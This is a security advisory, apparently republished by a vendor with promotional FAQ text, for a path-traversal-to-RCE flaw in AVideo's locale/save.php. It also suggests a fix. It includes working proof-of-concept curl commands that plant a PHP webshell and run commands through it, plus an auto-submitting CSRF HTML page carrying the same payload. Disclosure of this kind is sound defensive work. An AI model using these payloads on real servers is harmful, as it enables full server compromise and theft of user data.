Summary
The locale save endpoint (locale/save.php) constructs a file path by directly concatenating $_POST['flag'] into the path at line 30 without any sanitization. The $_POST['code'] parameter is then written verbatim to that path via fwrite() at line 40. An admin attacker (or any user who can CSRF an admin, since no CSRF token is checked and cookies use SameSite=None) can traverse out of the locale/ directory and write arbitrary .php files to any writable location on the filesystem, achieving Remote Code Execution.
Details
In locale/save.php, the vulnerable code path is:
// locale/save.php:10, only auth check, no CSRF token
if (!User::isAdmin() || !empty($global['disableAdvancedConfigurations'])) {
// ...
die(json_encode($obj));
}
// locale/save.php:16, base directory
$dir = "{$global['systemRootPath']}locale/";
// locale/save.php:30, UNSANITIZED path concatenation
$file = $dir.($_POST['flag']).".php";
$myfile = fopen($file, "w") or die("Unable to open file!");
// locale/save.php:40, UNSANITIZED content write
fwrite($myfile, $_POST['code']);
Root cause: $_POST['flag'] is concatenated directly into the file path with no call to basename(), realpath(), or any filtering of ../ sequences. A flag value like ../../shell resolves to {systemRootPath}locale/../../shell.php, which escapes the locale directory and writes to {systemRootPath}../shell.php, the web-accessible parent directory.
The file content is constructed as:
<?php
global $t;
{$_POST['code']} // attacker-controlled, written verbatim
An attacker can inject arbitrary PHP after closing the translation context (e.g., $t["x"]=1;?><?php system($_GET["c"]);).
CSRF amplification: The endpoint performs no CSRF token validation. AVideo intentionally sets SameSite=None on session cookies (for cross-origin iframe support), which means cross-site POST requests from an attacker's page will include the admin's session cookie, making CSRF exploitation trivial.
PoC
Direct exploitation (requires admin session):
# Step 1: Write a webshell outside locale/ to the webroot
curl -b 'PHPSESSID=<admin_session>' \
-X POST 'https://target/locale/save.php' \
-d 'flag=../../webshell&code=$t["x"]=1;?><%3fphp+system($_GET["c"]);'
# Step 2: Execute commands via the written webshell
curl 'https://target/webshell.php?c=id'
# Response: uid=33(www-data) gid=33(www-data) ...
CSRF variant (no direct admin access needed):
Host the following HTML on an attacker-controlled site and lure an admin to visit:
<html>
<body>
<form method="POST" action="https://target/locale/save.php">
<input type="hidden" name="flag" value="../../webshell">
<input type="hidden" name="code" value='$t["x"]=1;?><?php system($_GET["c"]);'>
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
After the admin visits the page, the attacker accesses https://target/webshell.php?c=id for RCE.
Impact
- Remote Code Execution: An attacker can write arbitrary PHP code to any writable web-accessible directory, achieving full server compromise.
- CSRF to RCE chain: Because no CSRF token is required and
SameSite=Noneis set, any user who can trick an admin into visiting a malicious page achieves unauthenticated RCE. This significantly expands the attack surface beyond admin-only. - Full server compromise: With arbitrary PHP execution as the web server user, the attacker can read/modify the database, access all user data, pivot to other services, and potentially escalate privileges on the host.
Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.
CVE-2026-40909 has a CVSS score of 8.7 (High). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Sanitize the flag parameter to prevent path traversal and add CSRF protection:
// locale/save.php, after the admin check at line 14
// Add CSRF token validation
if (empty($_POST['token']) || !User::isValidToken($_POST['token'])) {
$obj->status = 0;
$obj->error = __("Invalid token");
die(json_encode($obj));
}
// Sanitize flag to prevent path traversal
$flag = basename($_POST['flag']); // strip directory components
if (empty($flag) || preg_match('/[^a-zA-Z0-9_\-]/', $flag)) {
$obj->status = 0;
$obj->error = __("Invalid locale flag");
die(json_encode($obj));
}
$file = $dir . $flag . ".php";
// Verify resolved path is within expected directory
$realDir = realpath($dir);
$realFile = realpath(dirname($file)) . '/' . basename($file);
if (strpos($realFile, $realDir) !== 0) {
$obj->status = 0;
$obj->error = __("Invalid file path");
die(json_encode($obj));
}
Additionally, the code parameter should be validated to ensure it only contains translation assignments ($t[...] = ...;) and does not include PHP opening/closing tags or arbitrary code.
Frequently Asked Questions
- What is CVE-2026-40909? CVE-2026-40909 is a high-severity path traversal vulnerability in wwbn/avideo (composer), affecting versions <= 29.0. No fixed version is listed yet. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
- How severe is CVE-2026-40909? CVE-2026-40909 has a CVSS score of 8.7 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of wwbn/avideo are affected by CVE-2026-40909? wwbn/avideo (composer) versions <= 29.0 is affected.
- Is there a fix for CVE-2026-40909? No fixed version is listed for CVE-2026-40909 yet. Monitor the advisory for updates and apply mitigations in the interim.
- Is CVE-2026-40909 exploitable, and should I be worried? Whether CVE-2026-40909 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-40909 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-40909? No fixed version is listed yet. In the interim: Resolve the canonical path after applying any user-supplied input, and verify it remains within the intended directory before accessing it.